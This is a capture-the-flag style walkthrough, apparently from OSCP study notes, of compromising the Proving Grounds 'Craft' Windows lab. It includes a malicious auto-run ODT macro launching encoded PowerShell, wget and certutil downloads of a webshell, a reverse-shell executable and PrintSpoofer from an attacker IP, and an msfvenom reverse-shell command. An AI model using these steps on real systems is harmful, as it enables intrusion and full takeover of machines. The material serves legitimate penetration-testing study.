> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/craft.md).

# Craft

Host:

```
192.168.212.169
```

## 80

![](/files/7u0WlxoRze0SgdLk0T3W) From website: <admin@craft.offsec> ![](/files/15mjDiyS65K94OLcdMPz) There is a file upload

![](/files/7Et0L9Hd4Gtigx9cBlRl) We need an ODT file for exploiting

Now create an odt file Then add the macro: Tools-> macros->Organise macros-->Basic![](/files/WNbZbZl441H9SowLxDeg) Create a macro ![](/files/VhhnYBIpYklHgnFyf8DI)

```
Sub Main
    Shell("cmd /c powershell -e JABjAGwAaQBlAG4Ad...ABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA")
End Sub
```

\
Then we can configure it to open on document open:

Tools-->Customise: ![](/files/dUZozxMEC8LWcScPEVA6)

Now we can upload the file and get a shell:![](/files/j7qXTPUEo6l8brgmgTiL)

Shell: ![](/files/UpT6CaAtPS6rahiYFMQR)\\

Now we find the files for the web server: ![](/files/60zTj3DSxBHcXjdCUjh2) We can put a webshell:

```
wget http://192.168.45.236/shell.php -o shell.php
```

and make a reverse shell:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=3001 -f exe -o shell.exe
```

```
wget http://192.168.45.236/shell.exe -o shell.exe
```

![](/files/0rp54wZzWvOSvjhozXYA) Now we can run it: ![](/files/u0F7gObRrT9TXpqFvtaK) Now we get a shell: ![](/files/Tg7m1EBzshWaN1rozLYl)\\

Now using `whoami /priv`: ![](/files/7Oj8nnVRxeqKYQyceIK1)

We can use PrintSpoofer:

```
certutil -urlcache -f http://192.168.45.236/PrintSpoofer64.exe PrintSpoofer64.exe
```

```
PrintSpoofer.exe -i -c powershell.exe
```

We get a shell as nt authority\system:![](/files/p7dXQbAdHcaPejdCpGZQ)